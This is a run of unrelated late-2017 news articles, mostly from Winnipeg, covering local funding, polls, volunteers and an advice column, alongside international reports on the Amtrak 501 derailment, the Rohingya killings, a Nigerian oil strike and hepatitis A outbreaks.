For now, the talks are hung up on a few issues, including European insistence about labeling rules for foods such as Parmesan cheese. But officials on both sides say they want to reach a bargain, in part to send a message to Trump.

Still, some analysts caution that there is a limit to trade deals, noting also that the United States is hardly alone in its growing wariness of globalization. Nor did the new skepticism originate with Trump  even his Democratic presidential opponent, Hillary Clinton, dropped her support for the Trans-Pacific Partnership during the 2016 campaign.

We have for the past 10 years been in this strange and difficult situation for many countries that for 50 years broadly followed the leadership of America in global trade policy, said Fredrik Erixon, director of the European Center for International Political Economy, a Brussels-based think tank.

Now America isnt there, he said. And many countries, including those in the E.U., have difficulties to figure out what to do now.

Gabriela Martinez and Joshua Partlow in Mexico City contributed to this report.

Read more:

The U.S. dominates the world of big data. But Trumps NAFTA demands could put that at risk.

Trump and big business collide as NAFTA teeters

Todays coverage from Post correspondents around the world

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Nigerias Petroleum and Natural Gas Senior Staff union (PENGASSAN) has launched a nationwide strike on Monday over the dismissal of its workers, local media reports.

The union launched the industrial action after talks with government agencies ended in deadlock, the Unions secretary, Lumumba Okugbawa said.

Nigerian labor unions have staged a number of strikes in the last few months over the dismissal of oil industry workers.

The oil union and Neconde Energy Limited had been embroiled in a crisis over allegations of anti-worker practices.

The union alleged that Neconde management wrongly terminated the employment of some of its workers, and threatened to go on strike if the sacked workers were not recalled within 72 hours.

The union leader said office workers and staff working in distribution were among those taking part in the strike.

According to today.ng news portal, it was observed that some filling stations in Lagos and parts of Ogun states as well as Abuja and neighboring states were shut on Sunday, while the few that sold petrol had very long queues that spilled onto the roads.
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Opinion

Hey there, time traveller!

This article was published 19/12/2017 (1794 days ago), so information in it may no longer be current.

Dear Miss Lonelyhearts: I just found out my ex-wife is single again and is coming back to town to live in January. Losing her to a younger man was the best thing that ever happened to me. I had been trying to get rid of her for years, then she had an affair with this guy she met at work and they moved to Toronto.

I dont know exactly what happened, but my guess is he blew her off once he lived with her and found out who she really is: self-centred, pushy, sexually demanding and a flirt with other men. Shes way more trouble than shes worth.

I got rid of her by pretending I was impotent. She needs a lot of sex and reassurances shes the hottest babe that every lived.

I have a new woman now and we get along perfectly. I never told her I pretended I was impotent to get rid of my ex. We have a great sex life.

If my ex doesnt find someone in a hurry and sees I have a new girlfriend, shell start making trouble for me because she needs money (I have that) and she still claims she loves me in spite of my problem.

She is so nervy she would be quite all right with walking into my office, where she used to work for me, and leaning on the desk like she owns the place. She has the cojones to do that!

I know shes moving back because she had the nerve to call me at home and tell me, with my girlfriend nearby in the bedroom asking who was on the phone.

How do I break it to her that my ex-wife, the big problem of my life, is coming back?  Here She Comes, St. James

Dear Here She Comes: The person with the problem is actually you. You are still fascinated by this dominant woman you divorced. You act scared and disgusted by her, yet you havent blocked her on the phone. And why would you answer with your new lady there? Cant you see her name popping up? Why does she still have that capability, unless you want to take her calls? Shes still an exciting, if negative, part of your life drama.

The people at the front of your business operation should be told she cant waltz into the building and get to your office without an appointment. If they already know her, tell them to expect she might show up and to refuse her entrance.

They shouldnt lie and and say youre not there, but they should ask if she has an appointment and make her wait while they phone and check. If she tries to push her way through, front desk needs to call security and have her escorted out. But you arent going to do that, are you?

As for your girlfriend, be upfront with her about the relationship with your ex-wife. It will be worse if she hears about your past impotency problem from someone else.

Dear Miss Lonelyhearts: My wife is half blind and refuses to get her eyes checked. She has amazingly beautiful eyes and says she doesnt want to cover them up with ugly glasses. I always made a big fuss over her eyes.

Lately, Ive tried to convince her that women with glasses look mysterious and intelligent, and some glasses even look wild and crazy, She always adds and ugly.

She hasnt had her eyes checked that I know of, and shes been driving a car for a long time. I dont know what to do with her, but she is doing things that show me she cant see, such as bending in toward her computer and squinting and rubbing her eyes at the end of the day.

She will wear sunglasses in summer because then she thinks she looks like a movie star. What can I do with her?  Worried Shell Crash the Car, Downtown

Dear Worried Shell Crash the Car: Beauty is one of her top values, so forget the glasses. Bring home information to get her interested in contact lenses or laser-vision correction.

You can probably ease her into prescription sunglasses for driving the car so everybody will be safe. Remind her the bright winter sun on the snow causes glare, and glare causes squinting and squinting creates lines around the eyes. Vain people can be tricked.

Please send your questions and comments to lovecoach@hotmail.com or Miss Lonelyhearts c/o the Winnipeg Free Press, 1355 Mountain Ave. Winnipeg R2X 3B6
Dutch judges in The Hague last weekend sentenced Eshetu Alemu to life in jail. Alemu, 63, Ethiopian-Dutch national served Ethiopias ruthless leader Mengesitu Haile Mariam in the late 1970s.

Eshetu Alemu is accused of ordering the execution of 75 people, of torturing nine people, and of controlling the illegal detention of more than 300 people in cruel and inhuman conditions in Ethiopias Gojjam province during the Red Terror.

The mass killing follows a Coup detat by the Communist military regime, known as the Dergue, that overthrew Emperor Haile Selassie and seized power in Ethiopia.

In 2007, Ethiopia concluded a 12-year trial of former Dergue officials, convicting Eshetu Alemu and 57 other regime officials of genocide and crimes against humanity. Eshetu Alemu who was the former aide to the then-ruler Mengistu denied all the charges against him. He was judged in absentia and received a death sentenced.

Mariette Renckens, the judge who chaired the trial in the Nederland, told the court that Alemu was guilty of war crimes and treated his fellow citizens in a cold and calculating manner, including robbing them of their right to life.

Mengistu was ousted in 1991 after a series of revolts by insurgent groups.
Hey there, time traveller!

This article was published 19/12/2017 (1794 days ago), so information in it may no longer be current.

A small group of regular volunteers at a Winnipeg community centre have been told next year the taxman is going to find out about honorariums they receive that total more than $500.

In a notice to volunteers, the Corydon Community Centre said it will begin issuing T4A slips to volunteers receiving $500 or more, and if they dont want to continue volunteering to let the centre know by the end of the month.

We want to do things properly, said Abbie Bajon, general manager of Corydon Community Centre, which is made up of Sir John Franklin, River Heights and Crescentwood community centres.

JOHN WOODS / WINNIPEG FREE PRESS Crescentwood Community Centre will be issuing T4A slips next year to regular volunteers who receive honorariums of $500 per year or more.

Weve been doing a lot of housekeeping over the years since we amalgamated, Bajon said. That included reviewing Canada Revenue Agency regulations requiring that volunteers who receive honorariums that add up to $500 or more be issued T4A slips showing the income they received for helping out.

Everybody should be doing that, Bajon said. There are no more than 10 Corydon volunteers whove received that much in honorariums for helping out at such events as the Monday night fundraising bingo at Crescentwood and tending bar at socials. Some work 52 weeks a year, she said.

The Nov. 30 notice to volunteers said that issuing T4As to all volunteers who receive more than $500 in honorariums is a Canada Revenue Agency rule the centre intends to follow.

If you feel you cannot continue your role with the Corydon Community Centre, we would ask that you inform the Centre by Dec. 31, 2017, the notice said. One bingo volunteer who contacted the Free Press  then later declined to comment  said the bingo volunteers unanimously decided to quit if the centre didnt reverse its decision to issue them T4As. As of Monday, that hadnt happened, Bajon said.

A couple of people have expressed concern but nobody has said theyre quitting, Bajon said. She said there are 34,000 people living in the community centres catchment area, with thousands of volunteers. Most are not getting anything  99 per cent are doing it without an honorarium.

Bingo volunteers who show up nearly every week to help at the fundraiser that attracts 60 to 100 players receive a cash honorarium at the end of the night. Once they start receiving a T4A, the Canada Revenue Agency will be made aware of that income.

Bajon is waiting until Dec. 31 to see if the bingo volunteers decide to continue to help out in 2018.

Some arent sure how it impacts them, tax-wise, Bajon said.

We dont want the bingo to close, she said. Its a night out for a lot of people People dont want to see it fail.

Board president Colleen Plumton said the plan to issue T4As starting in 2018 is simple.

Were following best practices in terms of our business, Plumton said. Thats the only comment Ill give you.

Two of four Winnipeg community centres contacted by the Free Press on Monday said that they either didnt pay out honorariums to volunteers, or if they did, the total wasnt anywhere close to $500 a year. The other two did not respond.

Marlene Amell, executive director of the General Council of Winnipeg Community Centres, said each community centre is responsible for setting its own policy. Those that dont report paying $500 or more in honorariums to volunteers are violating Canada Revenue Agency rules and taking a risk, she said.

I would imagine it would open them to penalties, Amell said.

The issue at Corydon Community Centre, where a small group of dedicated volunteers accumulate $500-plus in honorariums per year, highlights a larger issue, she said.

Community centres dont have a very easy time in getting volunteers, Amell said. Thats becoming more and more of a concern for all community centres.

There are a lot of long-time volunteers who probably dont have children playing an community clubs anymore, Amell said. Theyve hung around because theyre really wanting the kids  whether they have any or not  to have the ability to play in the community. We rely very much on the older population.

carol.sanders@freepress.mb.ca
Hey there, time traveller!

This article was published 19/12/2017 (1794 days ago), so information in it may no longer be current.

Looks like Brad Wall is headed out of office on a high.

A new Angus Reid poll on how provincial voters rated their premiers put the Saskatchewan premier and his British Columbia counterpart, John Horgan, at the top of the list when it comes to public approval ratings.

Manitoba Premier Brian Pallisters been slipping lately and the latest poll confirms hes dipped slightly, down two per cent, this time. Pallisters approval rating with voters was 34 per cent.

WAYNE GLOWACKI / WINNIPEG FREE PRESS FILES Premier Brian Pallister

Wall, of course, just announced his departure, and Horgan just announced hell move ahead with the highly controversial hydro megaproject Site C.

Angus Reid conducts quarterly polls to show how premiers fare with their voting public.

In this latest one, Wall is back in majority approval, with the support of 53 per cent of the electorate in Saskatchewan, up four per cent as the year wraps up.

After dropping to an all-time low of 45 per cent at the halfway mark of the year, Wall has risen to a familiar place  and will leave politics as the most popular premier in the country, the Angus Reid Institute said in a statement releasing the poll.

Horgan edged up just one per cent, topping out at 49 per cent in his province.

The B.C. NDP premier has had a busy quarter, announcing a referendum on electoral reform and approving the hotly debated Site C dam. Horgan, the second-most-approved [premier] relative to his provincial peers, has the sanction of 49 per cent of residents, the poll said.

Ontarios Kathleen Wynne is headed upward again, but its barely perceptible.

Wynnes approval rating rose three per cent but she still landed in last place relative to her peers, with an approval rating of 20 per cent. Every other premier had higher approval ratings. Ontarios election is in 2018.

Angus Reid Institute

Heres how the pollster put the poll together: the Angus Reid Institute analyzed the results of an online survey conducted from December 7  14, 2017, among a representative, randomized sample of 5,413 Canadian adults who are members of the Angus Reid Forum. The survey data were donated by MARU/Matchbox.

The sample plan included large over-samples in many provinces, weighted back to provide a national snapshot. For comparison purposes only, a probability sample of this size with this sample plan would carry a margin of error of +/- 2 percentage points, 19 times out of 20. Discrepancies in or between totals are due to rounding.

The poll is available online at http://angusreid.org/premier-approval-dec2017/

alexandra.paul@freepress.mb.ca
Hey there, time traveller!

This article was published 19/12/2017 (1794 days ago), so information in it may no longer be current.

The Inuit Art Centre will be a world-class attraction, predicts Sport, Culture and Heritage Minister Cathy Cox.

However, the provinces value-for-money evaluation says the Winnipeg Art Gallery (WAG) project should only get $10 million in provincial money, not the $15 million the previous NDP government had promised, Cox announced Tuesday.

The Royal Aviation Museum of Western Canada will get what it had previously been promised  $8.75 million  plus another $1.25 million to match privately raised funds. And the provinces small museums were delighted to be promised their first-ever matching funds, up to $5 million over three years to establish heritage trusts: one dollar from the province for every two dollars museums raise to create endowment funds.

Artist rendering of the exterior of the Winnipeg Art Gallery's Inuit Art Centre. (Supplied)

WAG director and chief executive officer Stephen Borys welcomed the long-awaited funding for the Inuit Arts Centre project, which Cox said would be spread out and paid in various amounts in four of the next five years.

Were grateful to the province, (our) steadfast and invested partner, Borys said. We now have the three levels of government on board.

The WAG has now secured $50 million of its $65-million goal.

Cox said her department based the decision not to fund the entire amount previously committed by the NDP on the projects value to the economy. Only accountants could explain how merit-based formula evaluation worked, she quipped.

We had an evidence-based, value-for-money evaluation. We took a look at the value to the economy, the minister said at a news conference.

Meanwhile, construction will start next spring on the Winnipeg-based aviation museums new $45-million building and hangar opposite the Greyhound bus depot, museum CEO and president Helen Halliday said.

The museum has been operating in an old hangar on the fringes of James Armstrong Richardson International Airport.

We dont have incidental tourism coming into the museum, she said, but noted the new aviation museum will be on the main road running in and out of the Winnipeg airport, visible to everyone who comes through, while having more technology to offer visitors. It will continue to have an observation lounge overlooking the main runways.

Manitobas small museums have never had such financial support before, and only Quebec has ever provided what Association of Manitoba Museum council president Thomas McLeod called a groundbreaking incentive.

This is the first time in Western Canada. Its been promised very often, but never brought forward, he said.

The construction site for the Winnipeg Art Gallerys Inuit Art Centre on St. Mary Ave. and Memorial Blvd. (Wayne Glowacki / Winnipeg Free Press)

The provinces small museums can access up to $5 million over three years as a way of leveraging private donations, Municipal Relations Minister Jeff Wharton said.

The pot of money for local heritage trusts is a significant amount for the buildings, which face high heating costs along with repairs and maintenance, McLeod said. Money stays with the museum raising it.

Its money thats meant to act as a lever, he said, adding many of the small museums in Manitoba have largely been left behind.

Some are relatively large and better-known, such as the Mennonite Heritage Village in Steinbach and the Canadian Fossil Discovery Centre in Morden, but most struggle to keep their doors open, McLeod said.

An aide to Cox said not all museums will be able to access the money. The point of this program is to create those partnerships where community foundations will work with one or several heritage organizations/museums/archives in their areas to create endowment funds. Manitobas small- to medium-sized museums can fundraise and participate.

nick.martin@freepress.mb.ca
Hey there, time traveller!

This article was published 19/12/2017 (1794 days ago), so information in it may no longer be current.

A respected scholar who retired from the Manitoba Museum six years ago is now set to resume her research there.

Katherine Pettipas was named curator emeritus, only the second such emeritus distinction to be named at the museum, a statement released Tuesday announced.

Pettipas retired from the museum in 2011 after working 27 years as the curator of native ethnology and the museums Hudsons Bay Company collection. In the past several years, shes continued her work by volunteering at other institutions.

SUPPLIED Katherine Pettipas

She played a leading role in the acquisition and curation of the HBC Museum Collection and in the creation of the HBC Gallery. In addition she served as a national advisor for museum policies and Indigenous reconciliation, said Seema Hollenberg, the museums director of research, collections and exhibitions.

Pettipas was a member of the federal task force on museums and first peoples and a member of the review board for the Canadian Cultural Property Export Act, which focuses on legal issues related to cross-boundary outreach and ensures cultural property brought into Canada has not been illegally exported from somewhere else.

In the statement, Pettipas said she was honoured with the distinction.

I accept this honour on behalf of the many amazing staff, interns, volunteers, donors and community members who travelled along with me on my professional journey, always sharing a vision of possibilities, despite the many challenges facing heritage institutions, she said.

As a curator emeritus, Pettipas will be provided with office space and access to collection areas and labs. The positions such as this, dont get paid, but allow scholars to prepare publications, give lectures, conduct seminars and contribute to the work at the museum. They may also be called on for advice regarding acquisitions and areas of research.

The only other curator emeritus at the museum was noted archeologist Dr. Leigh Syms, a scholar recognized by experts across North America for advancing the field of archeology in Manitoba. He accepted the first position made by the museum in November 2015.

alexandra.paul@freepress.mb.ca
Wizz Air to launch flights from Kutaisi to Latvia from 2018

The Wizz Air Company will add a new flight from Kutaisi. As the air company has informed IPN, the flights from Kutaisi to Riga (Latvia) will be conducted twice a week - on Wednesdays and Sundays.As reported by the company the new direction will be available from the beginning of the year of 2018. The tickets starting price is 52,99 GEL/19,99 EUR.As a reminder, all flights are conducted by aircraft with capacity to contain 180 and 230 people.
Hey there, time traveller!

This article was published 18/12/2017 (1795 days ago), so information in it may no longer be current.

The philanthropy saga continues for missing and murdered Indigenous women and girls advocate Tracie Leost.

The Winnipeg native, 19, whose previous achievements include running 115 kilometres from Oak Point to The Forks for MMIWG awareness in 2015, speaking at We Day Ottawa this past summer and being featured in Vogue for her activism work, has decided not to accept personal gifts from family and friends this Christmas.

Instead, she will only accept hygiene products, which she will donate to Winnipeggers in need this holiday season.

Supplied Tracie Leost with hygiene products she plans to donate.

The idea came after watching a fellow classmates presentation on donating hygiene products to shelters for women in one of her classes at the University of Regina.

It kind of just clicked that hygiene products arent accessible or affordable, Leost said. I realize that being clean isnt a right, its a privilege, but its a privilege that everyone deserves.

While making her Christmas list, she realized there wasnt a single item she needed; instead she decided she would ask her friends and family members to purchase hygiene products that she could donate to a youth centre or homeless shelter in the city.

Christmas is always a holiday about giving, and I wanted to do what I could to give back to the community, she said.

Now that I live out of town, Christmas is more about coming home and spending time with family. Its not about receiving gifts.

Leost is also reaching out to the community and asking for donations of hygiene products. Anything from deodorant and toothpaste to feminine hygiene products and toilet paper will help.

Its little things that you can do like this that make a huge difference in other peoples lives, she said.

Winnipeggers interested in donating to Leosts drive can contact her on Twitter, Instagram and Facebook @TracieLeost.

kiera.kowalski@freepress.mb.ca
Opinion

Hey there, time traveller!

This article was published 19/12/2017 (1794 days ago), so information in it may no longer be current.

A lot of Manitobans would be better off today if they could have heard Jack Dalgliesh blow the whistle.

His story is worth recounting as the provincial government introduces legislation to strengthen protections for insiders who sound the alarm.

Dalgliesh crunched the numbers on the Crocus Investment Fund and warned the provincial government it would collapse in a few years. The government ignored that warning. But Dalgliesh was right and the funds failure cost taxpayers and investors millions.

And even though he was right, his superiors ignored Dalgliesh and subsequently sentenced him to a bureaucratic purgatory where he wasnt allowed to work. He read novels, from Animal Farm to War and Peace. He studied philosophers, from Socrates to Sartre. He was willing to work, but the work he was given only kept him busy for a couple of weeks a year.

Why didnt Dalgliesh blow the whistle publicly?

As you might imagine, I was pretty intimidated  profoundly intimidated, Dalgliesh told the CBC after he retired. I obviously was being invited to quit, after 20 years, without severance.

But Dalgliesh couldnt quit  he needed his paycheque to provide for a son with a disability.

The decade-old Crocus Investment Fund debacle is rushing back to relevance as the Manitoba government introduced legislation to protect whistleblowers.

Expanding the Whistleblower Protection Act reaffirms our commitment to greater accountability and transparency throughout government, while furthering our open-government initiative, stated Finance Minister Cameron Friesen when he announced the amendments on Dec. 6. Proposed amendments would enhance the investigative powers of the ombudsman, while further strengthening the protections for Manitobans who make disclosures from reprisal.

First, the legislation will keep whistleblowers identities confidential. Currently, whistleblowers can come forward confidentially, but they risk being identified if the issue escalates to administrative tribunals or civil courts. The new legislation will ensure that whistleblowers identities are kept secret throughout the process.

Second, the legislation also requires that any reprisals against whistleblowers are investigated. Every whistleblower knows theres no way to guarantee immunity from retaliation. But if there is blowback, the ombudsman is required to look into it.

Third, the legislation is expanding its protection to cover the education system. Municipalities, such as the City of Winnipeg, will have the opportunity to extend those protections to their employees, too.

This change was requested quite some time ago of the previous government, but wasnt implemented, stated Mayor Brian Bowman in the provinces release. I am grateful the current government has included our request in the amendments.

The need for that third provision is highlighted by the scandal surrounding the construction of the new police headquarters. That scandal came to light in part because whistleblowers confidentially informed the Canadian Taxpayers Federation (CTF) of their concerns. The job of cleaning up city hall is ongoing and this legislation is part of that process.

The CTF contacted Dalgliesh to get his views on the legislation and he doesnt think the new protections would have been enough to make a difference in his case.

Crocus went through a policy analysis within the government and it had been sold lock, stock and barrel to the politicians and senior bureaucrats who were ready to die fighting for it, wrote Dalgliesh in an email. They were either too stupid to understand that it would result in many Manitoba investors losing most of their investment, or knew it and didnt care.

Dalglieshs decisions had real consequences for his own career, but he points out that those responsible for the debacle werent fired. In fact, its worth noting that then-finance minister Greg Selinger ascended to become premier during that time and declined to apologize to Dalgliesh, despite demands to do so in the legislature.

All of which brings us to the point where good intentions collide with harsh realities. Its clear the province is trying to do the right thing by strengthening protections for whistleblowers and they may provide some help in some situations. But there will always be sleepless nights for would-be whistleblowers, especially as they weigh the risks theyre taking while those who are responsible for irresponsible behaviour remain unpunished.

Todd MacKay is Prairie director of the Canadian Taxpayers Federation.
At least three people were killed when an Amtrak Train 501 carrying about 83 people derailed and fell off a bridge over Interstate 5 near Olympia, Washington Monday morning. The Thurston County Sheriff Department said the train cars struck several vehicles on the highway resulting in a number of injuries but no reported additional deaths. At least 77 people have been transported to local hospitals.

Two passenger cars fell onto the highway and another two were left dangling off the bridge. All 12 cars of the train and one of its two locomotives derailed. There was initial confusion on the death toll, with some sources reporting as many as six killed. At least four of those injured were in critical condition.

One passenger quoted by the New York Times described a chaotic scene with severely injured people on the ground and screams piercing the air. Other witnesses told of drivers on the highway leaving their vehicles to help pull people from the wreckage.

Train 501 is an Amtrak Cascades service train, a partnership with Washington and Oregon which runs several trips per day between Eugene, Oregon and Vancouver, British Columbia. The train was running over the Point Defiance Bypass Project, a newly rebuilt route through Tacoma. The bypass avoids the capacity-constrained slow curves, mudslides, and frequent freight train delays of the old route that follows the Tacoma Narrows strait of Puget Sound.

Officials have not yet ascertained the cause of the crash. Multiple sources, including federal law enforcement, told NBC News that they are looking into the possibility that the train was speeding around a 30 mph curve. The media has quoted a certain data source (a train tracking web site) to say the speed was 80 mph, but that may not be a precise estimate and has not been confirmed by investigators.

Why overspeed may have occurred will likely take months of investigation, but there is questioning by planners and operating employees about the area where the derailment occurred.

After months of testing, Train 501 was the first revenue train to use the bypass, and likely even had officials and supervisors on board. The $181 million project, begun in 2010, rebuilt a patchwork of old freight routes up to passenger train standards and included major projects like a new bridge and station in Tacoma.

But not everything was improved. East of the derailment, the rebuilt route is relatively straight, with a speed of 79 mph. At the derailment site, there is a 30 mph curve for bridges over Interstate 5. While the track was rebuilt, the alignment of the track was not changed to allow for an easier curve and higher speed. Additionally, the mile-long transition from 79 mph to the 30 mph curve is not level, but downhill.

On Monday morning, under rainy conditions, there may have been issues with braking on the downhill grade. Other equipment factors may also have come into play. The planners of the new bypass route may have wanted to realign and improve the bridge over I-5, but with limited funding, it was left as is.

Amtrak officials have confirmed that the route was not yet using Positive Train Control (PTC), a system that is supposed to prevent incidents such as speeding into a curve. The system tracks the train and control settings via GPS, compares that to route signals and speeds, and can automatically slow or stop a train if it is going too fast or on a track it shouldnt be on.

The system was federally mandated without providing any funding, or offering a proven, ready-to-install example of the technology. Amtrak and other national and local passenger rail companies are on starvation budgets, and have had difficulty paying for the research, installation, and operation of PTC.

Soon after the crash, President Trump seized the opportunity to use the tragedy to boost his infrastructure program. Tweeting, The train accident that just occurred in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly. Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long.

Though its full details have not been spelled out, the program has all the earmarks of a con job, aimed at fleecing the public while enriching private investors.

Given that the route where the crash occurred was brand new, as was the engine, issues involving infrastructure or a lack of maintenance are not as prominent as they could be in another incident. Decades of underfunding of Amtrakand passenger rail in generalhave put passengers in peril, but Trumps proposed transportation budget in May slashed Amtrak funding by 13 percent, when the railroad has a national backlog of billions of dollars in repairs and upgrades.

Any program to seriously address transportation safety will require billions in additional funding for upgrading routes, equipment, and better signaling and safety technology.
A three-alarm fire that began early Monday morning gutted a single-family in the Homecrest section of Brooklyn with eight members of a family inside.

After the flames were put out, firefighters found the body of Aliza Azan, 40, near that of her 3-year-old daughter, Henrietta, and those of her two sons, Yitzhak, 7, and Moshe, 11.

The fire began on the first floor and quickly engulfed the three-story home, according to a statement of the New York City Fire Department (FDNY). It was early morning, everyone in the house was asleep, Fire Commissioner Daniel Nigro said. The fire got a good start before a neighbor noticed and called us.

Nigro also said that firefighters arrived within two-and-half minutes after the first call, but the flames were already consuming all three floors of the building. He explained that the fire confronted the firefighters at the front door. The units, knowing there were people in the home, pushed in very aggressively.

Around 100 firefighters battled the flames and assisted the injured. It took an hour to put out the fire. Five or six firefighters suffered minor injuries.

The fire traveled very quickly, Nigro said, The fire went from the first-floor front, up the stairs the second, again up the stairs to the attic.

One witness told the media: The fire was like five feet on top of the house, that big was the fire. Another witness saw the firefighters rushing right into the flames.

According to Nigro, to get out the mother and her three children on the second floor, firefighters would have had to go right into the fire. They werent able to do that.

The commissioner said that the father, Joseph Azan, 45, was able to get his two teenaged sons and a teenaged daughter to safety by pushing them from the roof. After Azan reached the ground, he entered the burning building and was severely injured as he attempted to rescue his wife and other children.

Joseph Azan is in critical condition at Staten Island University Hospital, and his two teenagers are in critical condition and fighting for their lives, Nigro said. Both sons broke bones, and the daughter apparently broke her pelvis. A third son was able to escape through a side door with minimal injury. The bodies of the deceased are being flown to Israel for burial.

Azan is a manager at the Hat Box, a menswear store on Coney Island Avenue. The Azan family are members of the Syrian Jewish community in Brooklyn.

Although the cause of the fire still under investigation by fire marshals, the FDNY believes it was likely accidental, possibly set off by a menorah candle or oil that was used to celebrate the Jewish holiday of Hanukkah.

The Azan teenagers have told investigators that the menorah was left burning when they went to sleep and that the fire started nearby.

There was one smoke detector on the ground floor that was reportedly activated, but none on the floors above.

Mayor Bill de Blasio, in a statement, revealed, Over the last couple of days, several other major fires have caused many injuriessome very seriousand displaced others from their homes. The purpose of the mayors remarks was to place responsibility for safety entirely on the residents by urging them to be careful about decorations, electric lights, candles, space heaters and other items.
A report based on surveys by the medical relief organisation, Medecins Sans Frontieres (MSF), has provided the first detailed study of the horrific scale of killings by military, police and Buddhist nationalist thugs of the Rohingya population in Burmas Rakhine state.

In what the MSF says is a conservative estimate, at least 6,700 died violent deaths at the hands of the security forces and associated gangs in the 31-day period from August 25. Of these, 730 were children under the age of five.

There have been numerous reports of individual atrocities, missing family members, grave site discoveries and satellite images of burnt-out Rohingya villages. Previous estimates of the number of deaths were based on this scattered information.

The Burmese military led by General Min Aung Hlaing and backed by the National League for Democracy (NLD) government has dismissed all of these accounts out of hand.

In September, in the period covered by the MSF report, NLD leader Aung San Suu Kyi blamed the violence in the Rakhine on Rohingya terrorists and condemned reports of Burmese army atrocities as fake news photographs and a huge ice berg of misinformation. The government claimed no more than 400 were killed during this period of which most were extremist terrorists.

Since August 25, 647,000 people have fled into refugee camps in neighbouring Bangladesh, already overcrowded with previous Rohingya refugees, creating a massive humanitarian crisis. The Muslim Rohingya are regarded by Burmese Buddhist chauvinists as illegal immigrants from Bangladesh and have been persecuted and denied citizenship for decades.

The sheer scale of the exodus has made clear that army operations begun on August 25, supposedly in response to small-scale attacks by the Arakan Rohingya Salvation Army, were aimed at driving the Rohingya out of Rakhine state where many have lived for generations. The United Nations has described it as ethnic cleansing.

The MSF report, released simultaneously in New York, Amsterdam and Paris on December 14, exposes the scale of the state terrorism.

The MSF estimates the overall death toll range is from 9,425 to 13,759 Rohingya in the period August 25 to September 24. These include the 6,700 people who died as the result of violent attacks. The peak was reached in the last week of August.

The MSF has 2,000 staff, three inpatient facilities, three primary care centres, 15 health posts and two mobile clinics in the refugee camps in Bangladesh. It has treated 142,980 patients since August 25, ten times the figure for the same period last year.

The report is based on six retrospective health surveys in different sections of the refugee camps. Four surveys were conducted in northern settlements and two in southern settlementsranging from the northern Kutupalong camp to the southern Moynarghona camp in the Coxs Bazar area just over the border from Burma.

The population in camps covered by the survey was 608,108 of whom 503,698 had fled Burma since August 25. In the northern sector, the survey team used random sampling of 905 households and in the south, systematic sampling of 1,529 households. In all 2,434 households representing 11,426 people were involved.

Household heads described the family structure and dates, locations and causes of the deaths of family members during the period.

The overall mortality rate of the households surveyed from August 25 to September 24 was equivalent to 2.26 percent of the sampled population. This pooled crude mortality rate (CMR), which was 13.3 times higher than the figure for the same population from May 27 to 24 August, was used to estimate the total number of killings.

Karline Kleijer, MSF Emergency Desk manager, stressed in the video released with the report that the estimate of 6,700 violent deaths was based on a conservative approach to interpreting the data and almost certainly underestimated the death toll.

The survey did not take place in all the camps and the report made no estimate of those who did not make it out of Burma, nor of the ongoing repression inside Rakhine state. MSF medical director Dr Sidney Wong said the MSF has reports of entire families being locked in their homes that were then set on fire.

Kleijer said that the surveys were originally part of a general health study but when the scale of the killings emerged we simply could not sit on this information.

Of the violent deaths, 69.4 percent were from gunshot wounds. Some 8.8 percent were burnt to death in homes, 5 percent were beaten to death, 2.6 percent suffered sexual violence leading to death and 1 percent were killed by landmines.

Of children under five, 59 percent were killed by gunshot, 14.8 percent were burnt to death in homes, 6.9 percent were beaten to death and 2.3 percent were killed by land mines.

This slaughter has been compounded by the efforts of the Bangladeshi government to block refugees from Burma. Moreover, Bangladesh struck a deal with Burma last month, the details of which remain unpublished, to repatriate hundreds of thousands Rohingya back to where they fled from.

If such atrocities had been carried out in Syria, for instance, which the US has targeted for regime change, there would be howls of condemnation in the international media. However, the criticism from the US and the European Union of the killings in Burma has been belated and muted.

In 2011, Burmas military dictatorship shifted its orientation away from Beijing and towards Washington, and entered into a power-sharing arrangement with the pro-Western NLD. Virtually overnight, Burma was referred to as a developing democracy rather than a rogue state.

In a carefully-staged election in 2016 under an anti-democratic constitution, the NLD and Suu Kyi was installed as head of government and foreign minister. In reality, the junta is still in charge and controls the key ministries of defence, home affairs and border affairs. Suu Kyi and her government, which share the militarys Buddhist supremacist ideology, function as the apologists for its crimes.

As long as the Burmese regime continues to align with Washington and to open up its economy to Western investment, the US and its allies will continue to turn a blind eye to the militarys slaughter. The Trump administration has rejected any immediate calls for sanctions and limited its response to face-saving appeals for an end to the violence in order to maintain US ties with the Suu Kyi government and the military.
The Centers for Disease Control and Prevention (CDC) recently reported that several states across the US have witnessed a rise in outbreaks of hepatitis A, especially among homeless and people using injection or non-injection drugs.

As of December 1, California has reported 672 cases, of which 430 have been hospitalized, and 21 have died. San Diego, with the fourth largest community of homeless in the US, faces the brunt of this with 567 cases, 382 hospitalizations and 20 deaths. Santa Cruz and Los Angeles have also reported a rise in hepatitis A cases.

The outbreak in Southeast Michigan started in August 2016. By December 13, 2017, 610 cases had been reported, with 501 hospitalizations and 20 deaths. The City of Detroit and Macomb, Wayne, Oakland and St. Clair counties are most affected.

Other states with rising cases of hepatitis A are Utah and Kentucky. Arizona and Colorado have reported incidents of hepatitis A as a byproduct of the epidemic in California.

In October 2017, Governor Jerry Brown of California declared a statewide state of emergency in an attempt to procure funds and resources and mobilize services to manage the outbreak. The above mentioned California cities have declared the local outbreaks and have distributed more than 80,000 doses of the hepatitis A vaccine. The cause of the outbreak in Southern California is attributed to the large homeless population in this region of the country and the rise of unaffordable housing. Access to clean restrooms, bathing and laundry facilities is also a major factor.

According to the Detroit Free Press, the cause for the outbreak in Michigan remains unknown, though officials are probing links to the opioid and heroin crisis seen across the state. Macomb County Health Department Director Bill Ridella attributes approximately half the cases in the county to drug use. Michigans Department of Health and Human Services spokesperson Angela Minicuci stated, Typically what we would see this time of year is about 14 times lower than what were currently dealing with.

The hepatitis A virus is a highly contagious infection that affects the liver. The virus is transmitted via the fecal-oral route. From surfaces or food and water contaminated with the feces of infected individuals, the virus passes to susceptible people, infecting them. The virus is hearty and can persist for many months on surfaces. There is usually a 15- to 50-day incubation period before symptoms associated with liver inflammation, such as fever, nausea and vomiting, abdominal pain and jaundice, begin abruptly.

Laboratory abnormalities seen in hepatitis A patients include elevation in liver enzymes and bilirubin. Infected individuals are contagious during the incubation period and remain so for about a week after jaundice appears. Fulminant (sudden onset) hepatic failure usually occurs in less than 1 percent of infected individuals, but requires care at centers with liver transplantation capabilities. The course of the disease is usually self-limited, requiring supportive care. Once the disease runs its course individuals will develop immunity against future infections.

